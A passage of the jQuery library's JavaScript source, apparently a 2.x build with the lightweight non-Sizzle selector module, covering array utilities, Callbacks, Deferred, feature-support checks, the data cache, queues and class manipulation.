"" : core_trim.call( text ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArraylike( Object(arr) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { core_push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : core_indexOf.call( arr, elem, i ); }, merge: function( first, second ) { var l = second.length, i = first.length, j = 0; if ( typeof l === "number" ) { for ( ; j < l; j++ ) { first[ i++ ] = second[ j ]; } } else { while ( second[j] !== undefined ) { first[ i++ ] = second[ j++ ]; } } first.length = i; return first; }, grep: function( elems, callback, inv ) { var retVal, ret = [], i = 0, length = elems.length; inv = !!inv; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { retVal = !!callback( elems[ i ], i ); if ( inv !== retVal ) { ret.push( elems[ i ] ); } } return ret; }, // arg is for internal usage only map: function( elems, callback, arg ) { var value, i = 0, length = elems.length, isArray = isArraylike( elems ), ret = []; // Go through the array, translating each of the items to their if ( isArray ) { for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret[ ret.length ] = value; } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret[ ret.length ] = value; } } } // Flatten any nested arrays return core_concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, // Bind a function to a context, optionally partially applying any // arguments. proxy: function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !jQuery.isFunction( fn ) ) { return undefined; } // Simulated bind args = core_slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( core_slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }, // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function access: function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, length = elems.length, bulk = key == null; // Sets many values if ( jQuery.type( key ) === "object" ) { chainable = true; for ( i in key ) { jQuery.access( elems, fn, i, key[i], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !jQuery.isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < length; i++ ) { fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) ); } } } return chainable ? elems : // Gets bulk ? fn.call( elems ) : length ? fn( elems[0], key ) : emptyGet; }, now: Date.now, // A method for quickly swapping in/out CSS properties to get correct calculations. // Note: this method belongs to the css module but it's needed here for the support module. // If support gets modularized, this method should be moved back to the css module. swap: function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; } }); jQuery.ready.promise = function( obj ) { if ( !readyList ) { readyList = jQuery.Deferred(); // Catch cases where $(document).ready() is called after the browser event has already occurred. // we once tried to use readyState "interactive" here, but it caused issues like the one // discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15 if ( document.readyState === "complete" ) { // Handle it asynchronously to allow scripts the opportunity to delay ready setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed, false ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed, false ); } } return readyList.promise( obj ); }; // Populate the class2type map jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); }); function isArraylike( obj ) { var length = obj.length, type = jQuery.type( obj ); if ( jQuery.isWindow( obj ) ) { return false; } if ( obj.nodeType === 1 && length ) { return true; } return type === "array" || type !== "function" && ( length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj ); } // All jQuery objects should point back to these rootjQuery = jQuery(document); /* * Optional (non-Sizzle) selector module for custom builds. * * Note that this DOES NOT SUPPORT many documented jQuery * features in exchange for its smaller size: * * Attribute not equal selector * Positional selectors (:first; :eq(n); :odd; etc.) * Type selectors (:input; :checkbox; :button; etc.) * State-based selectors (:animated; :visible; :hidden; etc.) * :has(selector) * :not(complex selector) * custom selectors via Sizzle extensions * Leading combinators (e.g., $collection.find("> *")) * Reliable functionality on XML fragments * Requiring all parts of a selector to match elements under context * (e.g., $div.find("div > *") now matches children of $div) * Matching against non-elements * Reliable sorting of disconnected nodes * querySelectorAll bug fixes (e.g., unreliable :focus on WebKit) * * If any of these are unacceptable tradeoffs, either use Sizzle or * customize this stub for the project's specific needs. */ var selector_hasDuplicate, matches = docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector, selector_sortOrder = function( a, b ) { // Flag for duplicate removal if ( a === b ) { selector_hasDuplicate = true; return 0; } var compare = b.compareDocumentPosition && a.compareDocumentPosition && a.compareDocumentPosition( b ); if ( compare ) { // Disconnected nodes if ( compare & 1 ) { // Choose the first element that is related to our document if ( a === document || jQuery.contains(document, a) ) { return -1; } if ( b === document || jQuery.contains(document, b) ) { return 1; } // Maintain original order return 0; } return compare & 4 ? -1 : 1; } // Not directly comparable, sort on existence of method return a.compareDocumentPosition ? -1 : 1; }; jQuery.extend({ find: function( selector, context, results, seed ) { var elem, nodeType, i = 0; results = results || []; context = context || document; // Same basic safeguard as Sizzle if ( !selector || typeof selector !== "string" ) { return results; } // Early return if context is not an element or document if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) { return []; } if ( seed ) { while ( (elem = seed[i++]) ) { if ( jQuery.find.matchesSelector(elem, selector) ) { results.push( elem ); } } } else { jQuery.merge( results, context.querySelectorAll(selector) ); } return results; }, unique: function( results ) { var elem, duplicates = [], i = 0, j = 0; selector_hasDuplicate = false; results.sort( selector_sortOrder ); if ( selector_hasDuplicate ) { while ( (elem = results[i++]) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } return results; }, text: function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( (node = elem[i++]) ) { // Do not traverse comment nodes ret += jQuery.text( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements return elem.textContent; } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }, contains: function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && adown.contains(bup) ); }, isXMLDoc: function( elem ) { return (elem.ownerDocument || elem).documentElement.nodeName !== "HTML"; }, expr: { attrHandle: {}, match: { bool: /^(?:checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$/i, needsContext: /^[\x20\t\r\n\f]*[>+~]/ } } }); jQuery.extend( jQuery.find, { matches: function( expr, elements ) { return jQuery.find( expr, null, null, elements ); }, matchesSelector: function( elem, expr ) { return matches.call( elem, expr ); }, attr: function( elem, name ) { return elem.getAttribute( name ); } }); // String to Object options format cache var optionsCache = {}; // Convert String-formatted options into Object-formatted ones and store in cache function createOptions( options ) { var object = optionsCache[ options ] = {}; jQuery.each( options.match( core_rnotwhite ) || [], function( _, flag ) { object[ flag ] = true; }); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? ( optionsCache[ options ] || createOptions( options ) ) : jQuery.extend( {}, options ); var // Last fire value (for non-forgettable lists) memory, // Flag to know if list was already fired fired, // Flag to know if list is currently firing firing, // First callback to fire (used internally by add and fireWith) firingStart, // End of the loop when firing firingLength, // Index of currently firing callback (modified by remove if needed) firingIndex, // Actual callback list list = [], // Stack of fire calls for repeatable lists stack = !options.once && [], // Fire callbacks fire = function( data ) { memory = options.memory && data; fired = true; firingIndex = firingStart || 0; firingStart = 0; firingLength = list.length; firing = true; for ( ; list && firingIndex < firingLength; firingIndex++ ) { if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) { memory = false; // To prevent further calls using add break; } } firing = false; if ( list ) { if ( stack ) { if ( stack.length ) { fire( stack.shift() ); } } else if ( memory ) { list = []; } else { self.disable(); } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // First, we save the current length var start = list.length; (function add( args ) { jQuery.each( args, function( _, arg ) { var type = jQuery.type( arg ); if ( type === "function" ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && type !== "string" ) { // Inspect recursively add( arg ); } }); })( arguments ); // Do we need to add the callbacks to the // current firing batch? if ( firing ) { firingLength = list.length; // With memory, if we're not firing then // we should call right away } else if ( memory ) { firingStart = start; fire( memory ); } } return this; }, // Remove a callback from the list remove: function() { if ( list ) { jQuery.each( arguments, function( _, arg ) { var index; while( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( firing ) { if ( index <= firingLength ) { firingLength--; } if ( index <= firingIndex ) { firingIndex--; } } } }); } return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length ); }, // Remove all callbacks from the list empty: function() { list = []; firingLength = 0; return this; }, // Have the list do nothing anymore disable: function() { list = stack = memory = undefined; return this; }, // Is it disabled? disabled: function() { return !list; }, // Lock the list in its current state lock: function() { stack = undefined; if ( !memory ) { self.disable(); } return this; }, // Is it locked? locked: function() { return !stack; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; if ( list && ( !fired || stack ) ) { if ( firing ) { stack.push( args ); } else { fire( args ); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; jQuery.extend({ Deferred: function( func ) { var tuples = [ // action, add listener, listener list, final state [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ], [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ], [ "notify", "progress", jQuery.Callbacks("memory") ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, then: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred(function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var action = tuple[ 0 ], fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; // deferred[ done | fail | progress ] for forwarding actions to newDefer deferred[ tuple[1] ](function() { var returned = fn && fn.apply( this, arguments ); if ( returned && jQuery.isFunction( returned.promise ) ) { returned.promise() .done( newDefer.resolve ) .fail( newDefer.reject ) .progress( newDefer.notify ); } else { newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } }); }); fns = null; }).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Keep pipe for back-compat promise.pipe = promise.then; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ]; // promise[ done | fail | progress ] = list.add promise[ tuple[1] ] = list.add; // Handle state if ( stateString ) { list.add(function() { // state = [ resolved | rejected ] state = stateString; // [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); } // deferred[ resolve | reject | notify ] deferred[ tuple[0] ] = function() { deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[0] + "With" ] = list.fireWith; }); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( subordinate /* , ..., subordinateN */ ) { var i = 0, resolveValues = core_slice.call( arguments ), length = resolveValues.length, // the count of uncompleted subordinates remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0, // the master Deferred. If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(), // Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { contexts[ i ] = this; values[ i ] = arguments.length > 1 ? core_slice.call( arguments ) : value; if( values === progressValues ) { deferred.notifyWith( contexts, values ); } else if ( !( --remaining ) ) { deferred.resolveWith( contexts, values ); } }; }, progressValues, progressContexts, resolveContexts; // add listeners to Deferred subordinates; treat others as resolved if ( length > 1 ) { progressValues = new Array( length ); progressContexts = new Array( length ); resolveContexts = new Array( length ); for ( ; i < length; i++ ) { if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { resolveValues[ i ].promise() .done( updateFunc( i, resolveContexts, resolveValues ) ) .fail( deferred.reject ) .progress( updateFunc( i, progressContexts, progressValues ) ); } else { --remaining; } } } // if we're not waiting on anything, resolve the master if ( !remaining ) { deferred.resolveWith( resolveContexts, resolveValues ); } return deferred.promise(); } }); jQuery.support = (function( support ) { var input = document.createElement("input"), fragment = document.createDocumentFragment(), div = document.createElement("div"), select = document.createElement("select"), opt = select.appendChild( document.createElement("option") ); // Finish early in limited environments if ( !input.type ) { return support; } input.type = "checkbox"; // Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3 // Check the default checkbox/radio value ("" on old WebKit; "on" elsewhere) support.checkOn = input.value !== ""; // Must access the parent to make an option select properly // Support: IE9, IE10 support.optSelected = opt.selected; // Will be defined later support.reliableMarginRight = true; support.boxSizingReliable = true; support.pixelPosition = false; // Make sure checked status is properly cloned // Support: IE9, IE10 input.checked = true; support.noCloneChecked = input.cloneNode( true ).checked; // Make sure that the options inside disabled selects aren't marked as disabled // (WebKit marks them as disabled) select.disabled = true; support.optDisabled = !opt.disabled; // Check if an input maintains its value after becoming a radio // Support: IE9, IE10 input = document.createElement("input"); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; // #11217 - WebKit loses check when the name is after the checked attribute input.setAttribute( "checked", "t" ); input.setAttribute( "name", "t" ); fragment.appendChild( input ); // Support: Safari 5.1, Android 4.x, Android 2.3 // old WebKit doesn't clone checked state correctly in fragments support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: Firefox, Chrome, Safari // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP) support.focusinBubbles = "onfocusin" in window; div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; // Run tests that need a body at doc ready jQuery(function() { var container, marginDiv, // Support: Firefox, Android 2.3 (Prefixed box-sizing versions). divReset = "padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box", body = document.getElementsByTagName("body")[ 0 ]; if ( !body ) { // Return for frameset docs that don't have a body return; } container = document.createElement("div"); container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px"; // Check box-sizing and margin behavior. body.appendChild( container ).appendChild( div ); div.innerHTML = ""; // Support: Firefox, Android 2.3 (Prefixed box-sizing versions). div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%"; // Workaround failing boxSizing test due to offsetWidth returning wrong value // with some non-1 values of body zoom, ticket #13543 jQuery.swap( body, body.style.zoom != null ? { zoom: 1 } : {}, function() { support.boxSizing = div.offsetWidth === 4; }); // Use window.getComputedStyle because jsdom on node.js will break without it. if ( window.getComputedStyle ) { support.pixelPosition = ( window.getComputedStyle( div, null ) || {} ).top !== "1%"; support.boxSizingReliable = ( window.getComputedStyle( div, null ) || { width: "4px" } ).width === "4px"; // Support: Android 2.3 // Check if div with explicit width and no margin-right incorrectly // gets computed margin-right based on width of container. (#3333) // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right marginDiv = div.appendChild( document.createElement("div") ); marginDiv.style.cssText = div.style.cssText = divReset; marginDiv.style.marginRight = marginDiv.style.width = "0"; div.style.width = "1px"; support.reliableMarginRight = !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight ); } body.removeChild( container ); }); return support; })( {} ); /* Implementation Summary 1. Enforce API surface and semantic compatibility with 1.9.x branch 2. Improve the module's maintainability by reducing the storage paths to a single mechanism. 3. Use the same single mechanism to support "private" and "user" data. 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) 5. Avoid exposing implementation details on user objects (eg. expando properties) 6. Provide a clear path for implementation upgrade to WeakMap in 2014 */ var data_user, data_priv, rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, rmultiDash = /([A-Z])/g; function Data() { // Support: Android < 4, // Old WebKit does not have Object.preventExtensions/freeze method, // return new empty object instead with no [[set]] accessor Object.defineProperty( this.cache = {}, 0, { get: function() { return {}; } }); this.expando = jQuery.expando + Math.random(); } Data.uid = 1; Data.accepts = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any return owner.nodeType ? owner.nodeType === 1 || owner.nodeType === 9 : true; }; Data.prototype = { key: function( owner ) { // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return the key for a frozen object. if ( !Data.accepts( owner ) ) { return 0; } var descriptor = {}, // Check if the owner object already has a cache key unlock = owner[ this.expando ]; // If not, create one if ( !unlock ) { unlock = Data.uid++; // Secure it in a non-enumerable, non-writable property try { descriptor[ this.expando ] = { value: unlock }; Object.defineProperties( owner, descriptor ); // Support: Android < 4 // Fallback to a less secure definition } catch ( e ) { descriptor[ this.expando ] = unlock; jQuery.extend( owner, descriptor ); } } // Ensure the cache object if ( !this.cache[ unlock ] ) { this.cache[ unlock ] = {}; } return unlock; }, set: function( owner, data, value ) { var prop, // There may be an unlock assigned to this node, // if there is no entry for this "owner", create one inline // and set the unlock as though an owner entry had always existed unlock = this.key( owner ), cache = this.cache[ unlock ]; // Handle: [ owner, key, value ] args if ( typeof data === "string" ) { cache[ data ] = value; // Handle: [ owner, { properties } ] args } else { // Fresh assignments by object are shallow copied if ( jQuery.isEmptyObject( cache ) ) { jQuery.extend( this.cache[ unlock ], data ); // Otherwise, copy the properties one-by-one to the cache object } else { for ( prop in data ) { cache[ prop ] = data[ prop ]; } } } return cache; }, get: function( owner, key ) { // Either a valid cache is found, or will be created. // New caches will be created and the unlock returned, // allowing direct access to the newly created // empty data object. A valid owner object must be provided. var cache = this.cache[ this.key( owner ) ]; return key === undefined ? cache : cache[ key ]; }, access: function( owner, key, value ) { // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ((key && typeof key === "string") && value === undefined) ) { return this.get( owner, key ); } // [*]When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, name, camel, unlock = this.key( owner ), cache = this.cache[ unlock ]; if ( key === undefined ) { this.cache[ unlock ] = {}; } else { // Support array or space separated string of keys if ( jQuery.isArray( key ) ) { // If "name" is an array of keys... // When data is initially created, via ("key", "val") signature, // keys will be converted to camelCase. // Since there is no way to tell _how_ a key was added, remove // both plain key and camelCase key. #12786 // This will only penalize the array argument path. name = key.concat( key.map( jQuery.camelCase ) ); } else { camel = jQuery.camelCase( key ); // Try the string as a key before any manipulation if ( key in cache ) { name = [ key, camel ]; } else { // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace name = camel; name = name in cache ? [ name ] : ( name.match( core_rnotwhite ) || [] ); } } i = name.length; while ( i-- ) { delete cache[ name[ i ] ]; } } }, hasData: function( owner ) { return !jQuery.isEmptyObject( this.cache[ owner[ this.expando ] ] || {} ); }, discard: function( owner ) { if ( owner[ this.expando ] ) { delete this.cache[ owner[ this.expando ] ]; } } }; // These may be used throughout the jQuery core codebase data_user = new Data(); data_priv = new Data(); jQuery.extend({ acceptData: Data.accepts, hasData: function( elem ) { return data_user.hasData( elem ) || data_priv.hasData( elem ); }, data: function( elem, name, data ) { return data_user.access( elem, name, data ); }, removeData: function( elem, name ) { data_user.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to data_priv methods, these can be deprecated. _data: function( elem, name, data ) { return data_priv.access( elem, name, data ); }, _removeData: function( elem, name ) { data_priv.remove( elem, name ); } }); jQuery.fn.extend({ data: function( key, value ) { var attrs, name, elem = this[ 0 ], i = 0, data = null; // Gets all values if ( key === undefined ) { if ( this.length ) { data = data_user.get( elem ); if ( elem.nodeType === 1 && !data_priv.get( elem, "hasDataAttrs" ) ) { attrs = elem.attributes; for ( ; i < attrs.length; i++ ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = jQuery.camelCase( name.slice(5) ); dataAttr( elem, name, data[ name ] ); } } data_priv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each(function() { data_user.set( this, key ); }); } return jQuery.access( this, function( value ) { var data, camelKey = jQuery.camelCase( key ); // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // with the key as-is data = data_user.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to get data from the cache // with the key camelized data = data_user.get( elem, camelKey ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, camelKey, undefined ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each(function() { // First, attempt to store a copy or reference of any // data that might've been store with a camelCased key. var data = data_user.get( this, camelKey ); // For HTML5 data-* attribute interop, we have to // store property names with dashes in a camelCase form. // This might not apply to all properties...* data_user.set( this, camelKey, value ); // *... In the case of properties that might _actually_ // have dashes, we need to also store a copy of that // unchanged property. if ( key.indexOf("-") !== -1 && data !== undefined ) { data_user.set( this, key, value ); } }); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each(function() { data_user.remove( this, key ); }); } }); function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? JSON.parse( data ) : data; } catch( e ) {} // Make sure we set the data so it isn't changed later data_user.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend({ queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = data_priv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray( data ) ) { queue = data_priv.access( elem, type, jQuery.makeArray(data) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // not intended for public consumption - generates a queueHooks object, or returns the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return data_priv.get( elem, key ) || data_priv.access( elem, key, { empty: jQuery.Callbacks("once memory").add(function() { data_priv.remove( elem, [ type + "queue", key ] ); }) }); } }); jQuery.fn.extend({ queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[0], type ); } return data === undefined ? this : this.each(function() { var queue = jQuery.queue( this, type, data ); // ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[0] !== "inprogress" ) { jQuery.dequeue( this, type ); } }); }, dequeue: function( type ) { return this.each(function() { jQuery.dequeue( this, type ); }); }, // Based off of the plugin by Clint Helfers, with permission. // http://blindsignals.com/index.php/2009/07/jquery-delay/ delay: function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = setTimeout( next, time ); hooks.stop = function() { clearTimeout( timeout ); }; }); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while( i-- ) { tmp = data_priv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } }); var nodeHook, boolHook, rclass = /[\t\r\n\f]/g, rreturn = /\r/g, rfocusable = /^(?:input|select|textarea|button)$/i; jQuery.fn.extend({ attr: function( name, value ) { return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each(function() { jQuery.removeAttr( this, name ); }); }, prop: function( name, value ) { return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each(function() { delete this[ jQuery.propFix[ name ] || name ]; }); }, addClass: function( value ) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).addClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { // The disjunction here is for better compressibility (see removeClass) classes = ( value || "" ).match( core_rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : " " ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } elem.className = jQuery.trim( cur ); } } } return this; }, removeClass: function( value ) { var classes, elem, cur, clazz, j, i = 0, len = this.length, proceed = arguments.length === 0 || typeof value === "string" && value; if ( jQuery.isFunction( value ) ) { return this.each(function( j ) { jQuery( this ).removeClass( value.call( this, j, this.className ) ); }); } if ( proceed ) { classes = ( value || "" ).match( core_rnotwhite ) || []; for ( ; i < len; i++ ) { elem = this[ i ]; // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( elem.className ? ( " " + elem.className + " " ).replace( rclass, " " ) : "" ); if ( cur ) { j = 0; while ( (clazz = classes[j++]) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) >= 0 ) { cur = cur.replace( " " + clazz + " ", " " ); } } elem.className = value ? jQuery.trim( cur ) : ""; } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value, isBool = typeof stateVal === "boolean"; if ( jQuery.isFunction( value ) ) { return this.each(function( i ) { jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); }); } return this.each(function() { if ( type === "string" ) { // toggle individual class names var className, i = 0, self = jQuery( this ), state = stateVal, classNames = value.match( core_rnotwhite ) || []; while ( (className = classNames[ i++ ]) ) { // check each className given, space separated list state = isBool ? state : !self.hasClass( className ); self[ state ? "addClass" : "removeClass" ]( className ); } // Toggle whole class name } else if ( type === core_strundefined || type === "boolean" ) { if ( this.className ) { // store className if set data_priv.set( this, "__className__", this.className ); } // If the element has a class name or if we're passed "false", // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. this.className = this.className || value === false ? "" : data_priv.get( this, "__className__" ) || ""; } }); }, hasClass: function( selector ) { var className = " " + selector + " ", i = 0, l = this.length; for ( ; i < l; i++ ) { if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) { return true; } } return false; }, val: function( value ) { var hooks, ret, isFunction, elem = this[0]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && (ret = 